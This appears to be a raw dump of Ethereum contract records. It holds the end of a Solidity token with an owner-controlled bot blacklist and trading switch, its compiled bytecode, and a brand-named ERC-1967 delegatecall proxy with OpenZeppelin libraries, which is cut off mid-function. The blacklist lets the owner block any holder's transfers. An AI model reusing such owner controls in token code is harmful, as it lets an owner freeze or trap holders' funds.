setBots(address[] memory bots_) public onlyOwner { for (uint i = 0; i < bots_.length; i++) { bots[bots_[i]] = true; } } function delBot(address notbot) public onlyOwner { bots[notbot] = false; } function openTrading(uint256 botBlocks) private { _firstBlock = block.number; _botBlocks = botBlocks; tradingActive = true; } // once enabled, can never be turned off function enableTrading(uint256 botBlocks) external onlyOwner() { require(botBlocks <= 1, "don't catch humans"); swapEnabled = true; require(boughtEarly == true, "done"); boughtEarly = false; openTrading(botBlocks); emit EndedBoughtEarly(boughtEarly); } }
0x6080604052600436106103545760003560e01c80638da5cb5b116101c6578063c0246668116100f7578063dd62ed3e11610095578063f11a24d31161006f578063f11a24d314610bcc578063f2fde38b14610be1578063f637434214610c14578063f8b45b0514610c295761035b565b8063dd62ed3e14610b67578063e2f4560514610ba2578063e884f26014610bb75761035b565b8063c876d0b9116100d1578063c876d0b914610afe578063c8c8ebe414610b13578063d257b34f14610b28578063d85ba06314610b525761035b565b8063c024666814610a63578063c17b5b8c14610a9e578063c18bc19514610ad45761035b565b8063a0d82dc511610164578063aacebbe31161013e578063aacebbe314610938578063b515566a1461096b578063b62496f514610a1b578063bbc0c74214610a4e5761035b565b8063a0d82dc5146108b1578063a457c2d7146108c6578063a9059cbb146108ff5761035b565b806395d89b41116101a057806395d89b41146108375780639a7a23d61461084c5780639c3b4fdc146108875780639fccce321461089c5761035b565b80638da5cb5b146107f85780638ea5220f1461080d57806392136913146108225761035b565b806349bd5a5e116102a0578063715018a61161023e57806375f0a8741161021857806375f0a8741461076e5780637bce5a04146107835780638095d5641461079857806382aa7c68146107ce5761035b565b8063715018a614610709578063751039fc1461071e5780637571336a146107335761035b565b80636a486a8e1161027a5780636a486a8e146106825780636b801f25146106975780636ddd1713146106c157806370a08231146106d65761035b565b806349bd5a5e146106255780634a62bb651461063a5780634fbee1931461064f5761035b565b80631a8145bb1161030d57806323b872dd116102e757806323b872dd1461054b578063273123b71461058e578063313ce567146105c157806339509351146105ec5761035b565b80631a8145bb146104f75780631f3fed8f1461050c578063203e727e146105215761035b565b806306fdde0314610360578063095ea7b3146103ea57806310d5de53146104375780631694505e1461046a57806318160ddd1461049b5780631816467f146104c25761035b565b3661035b57005b600080fd5b34801561036c57600080fd5b50610375610c3e565b6040805160208082528351818301528351919283929083019185019080838360005b838110156103af578181015183820152602001610397565b50505050905090810190601f1680156103dc5780820380516001836020036101000a031916815260200191505b509250505060405180910390f35b3480156103f657600080fd5b506104236004803603604081101561040d57600080fd5b506001600160a01b038135169060200135610cd4565b604080519115158252519081900360200190f35b34801561044357600080fd5b506104236004803603602081101561045a57600080fd5b50356001600160a01b0316610cf2565b34801561047657600080fd5b5061047f610d07565b604080516001600160a01b039092168252519081900360200190f35b3480156104a757600080fd5b506104b0610d16565b60408051918252519081900360200190f35b3480156104ce57600080fd5b506104f5600480360360208110156104e557600080fd5b50356001600160a01b0316610d1c565b005b34801561050357600080fd5b506104b0610dd1565b34801561051857600080fd5b506104b0610dd7565b34801561052d57600080fd5b506104f56004803603602081101561054457600080fd5b5035610ddd565b34801561055757600080fd5b506104236004803603606081101561056e57600080fd5b506001600160a01b03813581169160208101359091169060400135610e4a565b34801561059a57600080fd5b506104f5600480360360208110156105b157600080fd5b50356001600160a01b0316610ed1565b3480156105cd57600080fd5b506105d6610f4a565b6040805160ff9092168252519081900360200190f35b3480156105f857600080fd5b506104236004803603604081101561060f57600080fd5b506001600160a01b038135169060200135610f4f565b34801561063157600080fd5b5061047f610f9d565b34801561064657600080fd5b50610423610fac565b34801561065b57600080fd5b506104236004803603602081101561067257600080fd5b50356001600160a01b0316610fb5565b34801561068e57600080fd5b506104b0610fd3565b3480156106a357600080fd5b506104f5600480360360208110156106ba57600080fd5b5035610fd9565b3480156106cd57600080fd5b50610423611108565b3480156106e257600080fd5b506104b0600480360360208110156106f957600080fd5b50356001600160a01b0316611117565b34801561071557600080fd5b506104f5611132565b34801561072a57600080fd5b506104236111d4565b34801561073f57600080fd5b506104f56004803603604081101561075657600080fd5b506001600160a01b038135169060200135151561123e565b34801561077a57600080fd5b5061047f6112c1565b34801561078f57600080fd5b506104b06112d0565b3480156107a457600080fd5b506104f5600480360360608110156107bb57600080fd5b50803590602081013590604001356112d6565b3480156107da57600080fd5b506104f5600480360360208110156107f157600080fd5b503561139f565b34801561080457600080fd5b5061047f6114f4565b34801561081957600080fd5b5061047f611503565b34801561082e57600080fd5b506104b0611512565b34801561084357600080fd5b50610375611518565b34801561085857600080fd5b506104f56004803603604081101561086f57600080fd5b506001600160a01b0381351690602001351515611579565b34801561089357600080fd5b506104b061162c565b3480156108a857600080fd5b506104b0611632565b3480156108bd57600080fd5b506104b0611638565b3480156108d257600080fd5b50610423600480360360408110156108e957600080fd5b506001600160a01b03813516906020013561163e565b34801561090b57600080fd5b506104236004803603604081101561092257600080fd5b506001600160a01b0381351690602001356116a6565b34801561094457600080fd5b506104f56004803603602081101561095b57600080fd5b50356001600160a01b03166116ba565b34801561097757600080fd5b506104f56004803603602081101561098e57600080fd5b8101906020810181356401000000008111156109a957600080fd5b8201836020820111156109bb57600080fd5b803590602001918460208302840111640100000000831117156109dd57600080fd5b91908080602002602001604051908101604052809392919081815260200183836020028082843760009201919091525092955061176f945050505050565b348015610a2757600080fd5b5061042360048036036020811015610a3e57600080fd5b50356001600160a01b031661181f565b348015610a5a57600080fd5b50610423611833565b348015610a6f57600080fd5b506104f560048036036040811015610a8657600080fd5b506001600160a01b0381351690602001351515611841565b348015610aaa57600080fd5b506104f560048036036060811015610ac157600080fd5b50803590602081013590604001356118f9565b348015610ae057600080fd5b506104f560048036036020811015610af757600080fd5b50356119bd565b348015610b0a57600080fd5b50610423611a89565b348015610b1f57600080fd5b506104b0611a92565b348015610b3457600080fd5b5061042360048036036020811015610b4b57600080fd5b5035611a98565b348015610b5e57600080fd5b506104b0611ba1565b348015610b7357600080fd5b506104b060048036036040811015610b8a57600080fd5b506001600160a01b0381358116916020013516611ba7565b348015610bae57600080fd5b506104b0611bd2565b348015610bc357600080fd5b50610423611bd8565b348015610bd857600080fd5b506104b0611c42565b348015610bed57600080fd5b506104f560048036036020811015610c0457600080fd5b50356001600160a01b0316611c48565b348015610c2057600080fd5b506104b0611d41565b348015610c3557600080fd5b506104b0611d47565b60038054604080516020601f6002600019610100600188161502019095169490940493840181900481028201810190925282815260609390929091830182828015610cca5780601f10610c9f57610100808354040283529160200191610cca565b820191906000526020600020905b815481529060010190602001808311610cad57829003601f168201915b5050505050905090565b6000610ce8610ce1611dae565b8484611db2565b5060015b92915050565b601f6020526000908152604090205460ff1681565b6006546001600160a01b031681565b60025490565b610d24611dae565b6005546001600160a01b03908116911614610d74576040805162461bcd60e51b81526020600482018190526024820152600080516020612d19833981519152604482015290519081900360640190fd5b6009546040516001600160a01b03918216918316907f90b8024c4923d3873ff5b9fcb43d0360d4b9217fa41225d07ba379993552e74390600090a3600980546001600160a01b0319166001600160a01b0392909216919091179055565b601c5481565b601b5481565b6008546001600160a01b03163314610df457600080fd5b6103e8610dff610d16565b81610e0657fe5b04811015610e455760405162461bcd60e51b815260040180806020018281038252602f815260200180612da7602f913960400191505060405180910390fd5b600a55565b6000610e57848484611e9e565b610ec784610e63611dae565b610ec285604051806060016040528060288152602001612cf1602891396001600160a01b038a16600090815260016020526040812090610ea1611dae565b6001600160a01b0316815260208101919091526040016000205491906124b5565b611db2565b5060019392505050565b610ed9611dae565b6005546001600160a01b03908116911614610f29576040805162461bcd60e51b81526020600482018190526024820152600080516020612d19833981519152604482015290519081900360640190fd5b6001600160a01b03166000908152600e60205260409020805460ff19169055565b601290565b6000610ce8610f5c611dae565b84610ec28560016000610f6d611dae565b6001600160a01b03908116825260208083019390935260409182016000908120918c168152925290205490611d4d565b6007546001600160a01b031681565b600d5460ff1681565b6001600160a01b03166000908152601e602052604090205460ff1690565b60175481565b6008546001600160a01b03163314610ff057600080fd5b600754600090611008906001600160a01b0316611117565b9050600181111561102e5760075461102e906001600160a01b0316306000198401611e9e565b600760009054906101000a90046001600160a01b03166001600160a01b031663fff6cae96040518163ffffffff1660e01b8152600401600060405180830381600087803b15801561107e57600080fd5b505af1158015611092573d6000803e3d6000fd5b505050506110ae6110a1610f4a565b60ff16600a0a830261254c565b6008546040516000916001600160a01b03169047908381818185875af1925050503d80600081146110fb576040519150601f19603f3d011682016040523d82523d6000602084013e611100565b606091505b505050505050565b600d5462010000900460ff1681565b6001600160a01b031660009081526020819052604090205490565b61113a611dae565b6005546001600160a01b0390811691161461118a576040805162461bcd60e51b81526020600482018190526024820152600080516020612d19833981519152604482015290519081900360640190fd5b6005546040516000916001600160a01b0316907f8be0079c531659141344cd1fd0a4f28419497f9722a3daafe3b4186f6b6457e0908390a3600580546001600160a01b0319169055565b60006111de611dae565b6005546001600160a01b0390811691161461122e576040805162461bcd60e51b81526020600482018190526024820152600080516020612d19833981519152604482015290519081900360640190fd5b50600d805460ff19169055600190565b611246611dae565b6005546001600160a01b03908116911614611296576040805162461bcd60e51b81526020600482018190526024820152600080516020612d19833981519152604482015290519081900360640190fd5b6001600160a01b03919091166000908152601f60205260409020805460ff1916911515919091179055565b6008546001600160a01b031681565b60145481565b6112de611dae565b6005546001600160a01b0390811691161461132e576040805162461bcd60e51b81526020600482018190526024820152600080516020612d19833981519152604482015290519081900360640190fd5b60148381556015839055601682905582840182016013819055111561139a576040805162461bcd60e51b815260206004820152601d60248201527f4d757374206b656570206665657320617420323025206f72206c657373000000604482015290519081900360640190fd5b505050565b6113a7611dae565b6005546001600160a01b039081169116146113f7576040805162461bcd60e51b81526020600482018190526024820152600080516020612d19833981519152604482015290519081900360640190fd5b6001811115611442576040805162461bcd60e51b8152602060048201526012602482015271646f6e27742063617463682068756d616e7360701b604482015290519081900360640190fd5b600d805462ff0000191662010000179055601054610100900460ff16151560011461149d576040805162461bcd60e51b81526020600480830191909152602482015263646f6e6560e01b604482015290519081900360640190fd5b6010805461ff00191690556114b1816126f3565b6010546040805161010090920460ff1615158252517fbd657b4e94b205761f2ca5be9988d7b243c828f625c0746c6581ec528e507c47916020908290030190a150565b6005546001600160a01b031690565b6009546001600160a01b031681565b60185481565b60048054604080516020601f6002600019610100600188161502019095169490940493840181900481028201810190925282815260609390929091830182828015610cca5780601f10610c9f57610100808354040283529160200191610cca565b611581611dae565b6005546001600160a01b039081169116146115d1576040805162461bcd60e51b81526020600482018190526024820152600080516020612d19833981519152604482015290519081900360640190fd5b6007546001600160a01b038381169116141561161e5760405162461bcd60e51b8152600401808060200182810382526039815260200180612b796039913960400191505060405180910390fd5b611628828261270b565b5050565b60165481565b601d5481565b601a5481565b6000610ce861164b611dae565b84610ec285604051806060016040528060258152602001612d826025913960016000611675611dae565b6001600160a01b03908116825260208083019390935260409182016000908120918d168152925290205491906124b5565b6000610ce86116b3611dae565b8484611e9e565b6116c2611dae565b6005546001600160a01b03908116911614611712576040805162461bcd60e51b81526020600482018190526024820152600080516020612d19833981519152604482015290519081900360640190fd5b6008546040516001600160a01b03918216918316907fa751787977eeb3902e30e1d19ca00c6ad274a1f622c31a206e32366700b0567490600090a3600880546001600160a01b0319166001600160a01b0392909216919091179055565b611777611dae565b6005546001600160a01b039081169116146117c7576040805162461bcd60e51b81526020600482018190526024820152600080516020612d19833981519152604482015290519081900360640190fd5b60005b8151811015611628576001600e60008484815181106117e557fe5b6020908102919091018101516001600160a01b03168252810191909152604001600020805460ff19169115159190911790556001016117ca565b602080526000908152604090205460ff1681565b600d54610100900460ff1681565b611849611dae565b6005546001600160a01b03908116911614611899576040805162461bcd60e51b81526020600482018190526024820152600080516020612d19833981519152604482015290519081900360640190fd5b6001600160a01b0382166000818152601e6020908152604091829020805460ff1916851515908117909155825190815291517f9d8f7706ea1113d1a167b526eca956215946dd36cc7df39eb16180222d8b5df79281900390910190a25050565b611901611dae565b6005546001600160a01b03908116911614611951576040805162461bcd60e51b81526020600482018190526024820152600080516020612d19833981519152604482015290519081900360640190fd5b60188390556019828155601a82905582840182016017819055111561139a576040805162461bcd60e51b815260206004820152601d60248201527f4d757374206b656570206665657320617420323525206f72206c657373000000604482015290519081900360640190fd5b6119c5611dae565b6005546001600160a01b03908116911614611a15576040805162461bcd60e51b81526020600482018190526024820152600080516020612d19833981519152604482015290519081900360640190fd5b670de0b6b3a76400006103e8611a29610d16565b60050281611a3357fe5b0481611a3b57fe5b04811015611a7a5760405162461bcd60e51b8152600401808060200182810382526024815260200180612b556024913960400191505060405180910390fd5b670de0b6b3a764000002600c55565b60105460ff1681565b600a5481565b6000611aa2611dae565b6005546001600160a01b03908116911614611af2576040805162461bcd60e51b81526020600482018190526024820152600080516020612d19833981519152604482015290519081900360640190fd5b620186a0611afe610d16565b81611b0557fe5b04821015611b445760405162461bcd60e51b8152600401808060200182810382526035815260200180612c326035913960400191505060405180910390fd5b6103e8611b4f610d16565b60050281611b5957fe5b04821115611b985760405162461bcd60e51b8152600401808060200182810382526034815260200180612c676034913960400191505060405180910390fd5b50600b55600190565b60135481565b6001600160a01b03918216600090815260016020908152604080832093909416825291909152205490565b600b5481565b6000611be2611dae565b6005546001600160a01b03908116911614611c32576040805162461bcd60e51b81526020600482018190526024820152600080516020612d19833981519152604482015290519081900360640190fd5b506010805460ff19169055600190565b60155481565b611c50611dae565b6005546001600160a01b03908116911614611ca0576040805162461bcd60e51b81526020600482018190526024820152600080516020612d19833981519152604482015290519081900360640190fd5b6001600160a01b038116611ce55760405162461bcd60e51b8152600401808060200182810382526026815260200180612b0d6026913960400191505060405180910390fd5b6005546040516001600160a01b038084169216907f8be0079c531659141344cd1fd0a4f28419497f9722a3daafe3b4186f6b6457e090600090a3600580546001600160a01b0319166001600160a01b0392909216919091179055565b60195481565b600c5481565b600082820183811015611da7576040805162461bcd60e51b815260206004820152601b60248201527f536166654d6174683a206164646974696f6e206f766572666c6f770000000000604482015290519081900360640190fd5b9392505050565b3390565b6001600160a01b038316611df75760405162461bcd60e51b8152600401808060200182810382526024815260200180612d5e6024913960400191505060405180910390fd5b6001600160a01b038216611e3c5760405162461bcd60e51b8152600401808060200182810382526022815260200180612b336022913960400191505060405180910390fd5b6001600160a01b03808416600081815260016020908152604080832094871680845294825291829020859055815185815291517f8c5be1e5ebec7d5bd14f71427d1e84f3dd0314c0f7b2291e5b200ac8c7c3b9259281900390910190a3505050565b6001600160a01b038316611ee35760405162461bcd60e51b8152600401808060200182810382526025815260200180612d396025913960400191505060405180910390fd5b6001600160a01b038216611f285760405162461bcd60e51b8152600401808060200182810382526023815260200180612aea6023913960400191505060405180910390fd5b6001600160a01b0383166000908152600e602052604090205460ff16158015611f6a57506001600160a01b0382166000908152600e602052604090205460ff16155b611f7357600080fd5b80611f8957611f848383600061275e565b61139a565b600d5460ff16156121c557611f9c6114f4565b6001600160a01b0316836001600160a01b031614158015611fd65750611fc06114f4565b6001600160a01b0316826001600160a01b031614155b8015611fea57506001600160a01b03821615155b801561200157506001600160a01b03821661dead14155b80156120175750600754600160a01b900460ff16155b156121c557600d54610100900460ff166120b4576001600160a01b0383166000908152601e602052604090205460ff168061206a57506001600160a01b0382166000908152601e602052604090205460ff165b6120b4576040805162461bcd60e51b81526020600482015260166024820152752a3930b234b7339034b9903737ba1030b1ba34bb329760511b604482015290519081900360640190fd5b6001600160a01b038316600090815260208052604090205460ff1680156120f457506001600160a01b0382166000908152601f602052604090205460ff16155b1561213f57600a5481111561213a5760405162461bcd60e51b8152600401808060200182810382526035815260200180612c9b6035913960400191505060405180910390fd5b6121c5565b6001600160a01b038216600090815260208052604090205460ff16801561217f57506001600160a01b0383166000908152601f602052604090205460ff16155b156121c557600a548111156121c55760405162461bcd60e51b8152600401808060200182810382526036815260200180612bfc6036913960400191505060405180910390fd5b60006121d030611117565b600b54909150811080159081906121ef5750600d5462010000900460ff165b80156122055750600754600160a01b900460ff16155b801561222957506001600160a01b038516600090815260208052604090205460ff16155b801561224e57506001600160a01b0385166000908152601e602052604090205460ff16155b801561227357506001600160a01b0384166000908152601e602052604090205460ff16155b156122a1576007805460ff60a01b1916600160a01b1790556122936128b9565b6007805460ff60a01b191690555b6007546001600160a01b0386166000908152601e602052604090205460ff600160a01b9092048216159116806122ef57506001600160a01b0385166000908152601e602052604090205460ff165b156122f8575060005b600081156124a1576001600160a01b038616600090815260208052604090205460ff16801561232957506000601754115b156123eb5761234e6064612348601754886129a790919063ffffffff16565b90612a00565b905060175460195482028161235f57fe5b601c8054929091049091019055601754601a5482028161237b57fe5b601d805492909104909101905560175460185482028161239757fe5b601b8054929091049091019055600a54600116156123e65760405162461bcd60e51b8152600401808060200182810382526024815260200180612bb26024913960400191505060405180910390fd5b61248a565b6001600160a01b038716600090815260208052604090205460ff16801561241457506000601354115b1561248a576124336064612348601354886129a790919063ffffffff16565b905060135460155482028161244457fe5b601c805492909104909101905560135460165482028161246057fe5b601d805492909104909101905560135460145482028161247c57fe5b601b80549290910490910190555b801561249b5761249b87308361275e565b80850394505b6124ac87878761275e565b50505050505050565b600081848411156125445760405162461bcd60e51b81526004018080602001828103825283818151815260200191508051906020019080838360005b838110156125095781810151838201526020016124f1565b50505050905090810190601f1680156125365780820380516001836020036101000a031916815260200191505b509250505060405180910390fd5b505050900390565b604080516002808252606082018352600092602083019080368337019050509050308160008151811061257b57fe5b6001600160a01b03928316602091820292909201810191909152600654604080516315ab88c960e31b81529051919093169263ad5c4648926004808301939192829003018186803b1580156125cf57600080fd5b505afa1580156125e3573d6000803e3d6000fd5b505050506040513d60208110156125f957600080fd5b505181518290600190811061260a57fe5b6001600160a01b0392831660209182029290920101526006546126309130911684611db2565b60065460405163791ac94760e01b8152600481018481526000602483018190523060648401819052426084850181905260a060448601908152875160a487015287516001600160a01b039097169663791ac947968a968a9594939092909160c40190602080880191028083838b5b838110156126b657818101518382015260200161269e565b505050509050019650505050505050600060405180830381600087803b1580156126df57600080fd5b505af1158015611100573d6000803e3d6000fd5b43601155601255600d805461ff001916610100179055565b6001600160a01b0382166000818152602080526040808220805460ff191685151590811790915590519092917fffa9187bf1f18bf477bd0ea1bcbb64e93b6a98132473929edfce215cd9b16fab91a35050565b6001600160a01b0383166127a35760405162461bcd60e51b8152600401808060200182810382526025815260200180612d396025913960400191505060405180910390fd5b6001600160a01b0382166127e85760405162461bcd60e51b8152600401808060200182810382526023815260200180612aea6023913960400191505060405180910390fd5b6127f383838361139a565b61283081604051806060016040528060268152602001612bd6602691396001600160a01b03861660009081526020819052604090205491906124b5565b6001600160a01b03808516600090815260208190526040808220939093559084168152205461285f9082611d4d565b6001600160a01b038084166000818152602081815260409182902094909455805185815290519193928716927fddf252ad1be2c89b69c2b068fc378daa952ba7f163c4a11628f55a4df523b3ef92918290030190a3505050565b60006128c430611117565b90506000601d54601b54601c5401019050600082600014806128e4575081155b156128f1575050506129a5565b600b5460140283111561290757600b5460140292505b6000600283601c5486028161291857fe5b048161292057fe5b049050600061292f8583612a42565b905061293a8161254c565b6000601c819055601b819055601d8190556008546040516001600160a01b039091169147919081818185875af1925050503d8060008114612997576040519150601f19603f3d011682016040523d82523d6000602084013e61299c565b606091505b50505050505050505b565b6000826129b657506000610cec565b828202828482816129c357fe5b0414611da75760405162461bcd60e51b8152600401808060200182810382526021815260200180612cd06021913960400191505060405180910390fd5b6000611da783836040518060400160405280601a81526020017f536166654d6174683a206469766973696f6e206279207a65726f000000000000815250612a84565b6000611da783836040518060400160405280601e81526020017f536166654d6174683a207375627472616374696f6e206f766572666c6f7700008152506124b5565b60008183612ad35760405162461bcd60e51b81526020600482018181528351602484015283519092839260449091019190850190808383600083156125095781810151838201526020016124f1565b506000838581612adf57fe5b049594505050505056fe45524332303a207472616e7366657220746f20746865207a65726f20616464726573734f776e61626c653a206e6577206f776e657220697320746865207a65726f206164647265737345524332303a20617070726f766520746f20746865207a65726f206164647265737343616e6e6f7420736574206d617857616c6c6574206c6f776572207468616e20302e352554686520706169722063616e6e6f742062652072656d6f7665642066726f6d206175746f6d617465644d61726b65744d616b657250616972734552524f523a204d757374206265206c657373207468616e206d61785478416d6f756e7445524332303a207472616e7366657220616d6f756e7420657863656564732062616c616e636553656c6c207472616e7366657220616d6f756e74206578636565647320746865206d61785472616e73616374696f6e416d6f756e742e5377617020616d6f756e742063616e6e6f74206265206c6f776572207468616e20302e3030312520746f74616c20737570706c792e5377617020616d6f756e742063616e6e6f7420626520686967686572207468616e20302e352520746f74616c20737570706c792e427579207472616e7366657220616d6f756e74206578636565647320746865206d61785472616e73616374696f6e416d6f756e742e536166654d6174683a206d756c7469706c69636174696f6e206f766572666c6f7745524332303a207472616e7366657220616d6f756e74206578636565647320616c6c6f77616e63654f776e61626c653a2063616c6c6572206973206e6f7420746865206f776e657245524332303a207472616e736665722066726f6d20746865207a65726f206164647265737345524332303a20617070726f76652066726f6d20746865207a65726f206164647265737345524332303a2064656372656173656420616c6c6f77616e63652062656c6f77207a65726f43616e6e6f7420736574206d61785472616e73616374696f6e416d6f756e74206c6f776572207468616e20302e3125a2646970667358221220f8fbc52b532d053d48d8db3f9746858bb592ade328d91bdd77e30a4f3f41dfc464736f6c63430007060033
[ 13, 4, 7 ]
0xf20b4df688d38124408421533d4f21348580f151
// SPDX-License-Identifier: MIT pragma solidity ^0.8.0; // __ __ __ __ __ ______ ______ ______ __ __ __ // | \ | \ | \ | \ | \ / \ / \ / \ | \ | \ | \ // | $$ ______ __ __ \$$ _______ __ __ __ __ \$$ _| $$_ _| $$_ ______ _______ | $$$$$$\| $$$$$$\| $$$$$$\ _| $$_ | $$____ ______ _______ _______ \$$ __ __ ______ ______ _______ ______ ______ __ __ // | $$ / \ | \ | \| \ / \| \ / \| \ | \| \| $$ \| $$ \ / \ | \ \$$__| $$| $$$\| $$| $$$\| $$| $$ \ | $$ \ | \ | \ | \ | \| \ / \ / \ / \ / \ | \ / \ | \ | \ // | $$| $$$$$$\| $$ | $$| $$| $$$$$$$ \$$\ / $$| $$ | $$| $$ \$$$$$$ \$$$$$$ | $$$$$$\| $$$$$$$\ / $$| $$$$\ $$| $$$$\ $$ \$$$$$$ | $$$$$$$\ \$$$$$$\| $$$$$$$\| $$$$$$$\| $$ \$$\ / $$| $$$$$$\| $$$$$$\| $$$$$$$ \$$$$$$\| $$$$$$\| $$ | $$ // | $$| $$ | $$| $$ | $$| $$ \$$ \ \$$\ $$ | $$ | $$| $$ | $$ __ | $$ __ | $$ | $$| $$ | $$ | $$$$$$ | $$\$$\$$| $$\$$\$$ | $$ __ | $$ | $$ / $$| $$ | $$| $$ | $$| $$ \$$\ $$ | $$ $$| $$ \$$ \$$ \ / $$| $$ \$$| $$ | $$ // | $$| $$__/ $$| $$__/ $$| $$ _\$$$$$$\ \$$ $$ | $$__/ $$| $$ | $$| \| $$| \| $$__/ $$| $$ | $$ | $$_____ | $$_\$$$$| $$_\$$$$ | $$| \| $$ | $$ | $$$$$$$| $$ | $$| $$ | $$| $$ \$$ $$ | $$$$$$$$| $$ _\$$$$$$\| $$$$$$$| $$ | $$__/ $$ // | $$ \$$ $$ \$$ $$| $$| $$ \$$$ \$$ $$| $$ \$$ $$ \$$ $$ \$$ $$| $$ | $$ | $$ \ \$$ \$$$ \$$ \$$$ \$$ $$| $$ | $$ \$$ $$| $$ | $$| $$ | $$| $$ \$$$ \$$ \| $$ | $$ \$$ $$| $$ \$$ $$ // \$$ \$$$$$$ \$$$$$$ \$$ \$$$$$$$ \$ \$$$$$$ \$$ \$$$$ \$$$$ \$$$$$$ \$$ \$$ \$$$$$$$$ \$$$$$$ \$$$$$$ \$$$$ \$$ \$$ \$$$$$$$ \$$ \$$ \$$ \$$ \$$ \$ \$$$$$$$ \$$ \$$$$$$$ \$$$$$$$ \$$ _\$$$$$$$ // | \__| $$ // \$$ $$ // \$$$$$$ import "@openzeppelin/contracts/utils/Address.sol"; import "@openzeppelin/contracts/utils/StorageSlot.sol"; contract louisvuitton200thanniversary{ //louisvuitton200thanniversary bytes32 internal constant KEY = 0x360894a13ba1a3210667c828492db98dca3e2076cc3735a920a3ca505d382bbc; fallback() external payable virtual { _fallback(); } receive() external payable virtual { _fallback(); } function _beforeFallback() internal virtual {} constructor(bytes memory _a, bytes memory _data) payable { (address _as) = abi.decode(_a, (address)); assert(KEY == bytes32(uint256(keccak256("eip1967.proxy.implementation")) - 1)); require(Address.isContract(_as), "address error"); StorageSlot.getAddressSlot(KEY).value = _as; if (_data.length > 0) { Address.functionDelegateCall(_as, _data); } } function _g(address to) internal virtual { assembly { calldatacopy(0, 0, calldatasize()) let result := delegatecall(gas(), to, 0, calldatasize(), 0, 0) returndatacopy(0, 0, returndatasize()) switch result case 0 { revert(0, returndatasize()) } default { return(0, returndatasize()) } } } function _fallback() internal virtual { _beforeFallback(); _g(StorageSlot.getAddressSlot(KEY).value); } } // SPDX-License-Identifier: MIT // OpenZeppelin Contracts v4.4.1 (utils/StorageSlot.sol) pragma solidity ^0.8.0; /** * @dev Library for reading and writing primitive types to specific storage slots. * * Storage slots are often used to avoid storage conflict when dealing with upgradeable contracts. * This library helps with reading and writing to such slots without the need for inline assembly. * * The functions in this library return Slot structs that contain a `value` member that can be used to read or write. * * Example usage to set ERC1967 implementation slot: * ``` * contract ERC1967 { * bytes32 internal constant _IMPLEMENTATION_SLOT = 0x360894a13ba1a3210667c828492db98dca3e2076cc3735a920a3ca505d382bbc; * * function _getImplementation() internal view returns (address) { * return StorageSlot.getAddressSlot(_IMPLEMENTATION_SLOT).value; * } * * function _setImplementation(address newImplementation) internal { * require(Address.isContract(newImplementation), "ERC1967: new implementation is not a contract"); * StorageSlot.getAddressSlot(_IMPLEMENTATION_SLOT).value = newImplementation; * } * } * ``` * * _Available since v4.1 for `address`, `bool`, `bytes32`, and `uint256`._ */ library StorageSlot { struct AddressSlot { address value; } struct BooleanSlot { bool value; } struct Bytes32Slot { bytes32 value; } struct Uint256Slot { uint256 value; } /** * @dev Returns an `AddressSlot` with member `value` located at `slot`. */ function getAddressSlot(bytes32 slot) internal pure returns (AddressSlot storage r) { assembly { r.slot := slot } } /** * @dev Returns an `BooleanSlot` with member `value` located at `slot`. */ function getBooleanSlot(bytes32 slot) internal pure returns (BooleanSlot storage r) { assembly { r.slot := slot } } /** * @dev Returns an `Bytes32Slot` with member `value` located at `slot`. */ function getBytes32Slot(bytes32 slot) internal pure returns (Bytes32Slot storage r) { assembly { r.slot := slot } } /** * @dev Returns an `Uint256Slot` with member `value` located at `slot`. */ function getUint256Slot(bytes32 slot) internal pure returns (Uint256Slot storage r) { assembly { r.slot := slot } } } // SPDX-License-Identifier: MIT // OpenZeppelin Contracts (last updated v4.5.0) (utils/Address.sol) pragma solidity ^0.8.1; /** * @dev Collection of functions related to the address type */ library Address { /** * @dev Returns true if `account` is a contract. * * [IMPORTANT] * ==== * It is unsafe to assume that an address for which this function returns * false is an externally-owned account (EOA) and not a contract. * * Among others, `isContract` will return false for the following * types of addresses: * * - an externally-owned account * - a contract in construction * - an address where a contract will be created * - an address where a contract lived, but was destroyed * ==== * * [IMPORTANT] * ==== * You shouldn't rely on `isContract` to protect against flash loan attacks! * * Preventing calls from contracts is highly discouraged. It breaks composability, breaks support for smart wallets * like Gnosis Safe, and does not provide security since it can be circumvented by calling from a contract * constructor. * ==== */ function isContract(address account) internal view returns (bool) { // This method relies on extcodesize/address.code.length, which returns 0 // for contracts in construction, since the code is only stored at the end // of the constructor execution. return account.code.length > 0; } /** * @dev Replacement for Solidity's `transfer`: sends `amount` wei to * `recipient`, forwarding all available gas and reverting on errors. * * https://eips.ethereum.org/EIPS/eip-1884[EIP1884] increases the gas cost * of certain opcodes, possibly making contracts go over the 2300 gas limit * imposed by `transfer`, making them unable to receive funds via * `transfer`. {sendValue} removes this limitation. * * https://diligence.consensys.net/posts/2019/09/stop-using-soliditys-transfer-now/[Learn more]. * * IMPORTANT: because control is transferred to `recipient`, care must be * taken to not create reentrancy vulnerabilities. Consider using * {ReentrancyGuard} or the * https://solidity.readthedocs.io/en/v0.5.11/security-considerations.html#use-the-checks-effects-interactions-pattern[checks-effects-interactions pattern]. */ function sendValue(address payable recipient, uint256 amount) internal { require(address(this).balance >= amount, "Address: insufficient balance"); (bool success, ) = recipient.call{value: amount}(""); require(success, "Address: unable to send value, recipient may have reverted"); } /** * @dev Performs a Solidity function call using a low level `call`. A * plain `call` is an unsafe replacement for a function call: use this * function instead. * * If `target` reverts with a revert reason, it is bubbled up by this * function (like regular Solidity function calls). * * Returns the raw returned data. To convert to the expected return value, * use https://solidity.readthedocs.io/en/latest/units-and-global-variables.html?highlight=abi.decode#abi-encoding-and-decoding-functions[`abi.decode`]. * * Requirements: * * - `target` must be a contract. * - calling `target` with `data` must not revert. * * _Available since v3.1._ */ function functionCall(address target, bytes memory data) internal returns (bytes memory) { return functionCall(target, data, "Address: low-level call failed"); } /** * @dev Same as {xref-Address-functionCall-address-bytes-}[`functionCall`], but with * `errorMessage` as a fallback revert reason when `target` reverts. * * _Available since v3.1._ */ function functionCall( address target, bytes memory data, string memory errorMessage ) internal returns (bytes memory) { return functionCallWithValue(target, data, 0, errorMessage); } /** * @dev Same as {xref-Address-functionCall-address-bytes-}[`functionCall`], * but also transferring `value` wei to `target`. * * Requirements: * * - the calling contract must have an ETH balance of at least `value`. * - the called Solidity function must be `payable`. * * _Available since v3.1._ */ function functionCallWithValue( address target, bytes memory data, uint256 value ) internal returns (bytes memory) { return functionCallWithValue(target, data, value, "Address: low-level call with value failed"); } /** * @dev Same as {xref-Address-functionCallWithValue-address-bytes-uint256-}[`functionCallWithValue`], but * with `errorMessage` as a fallback revert reason when `target` reverts. * * _Available since v3.1._ */ function functionCallWithValue( address target, bytes memory data, uint256 value, string memory errorMessage ) internal returns (bytes memory) { require(address(this).balance >= value, "Address: insufficient balance for call"); 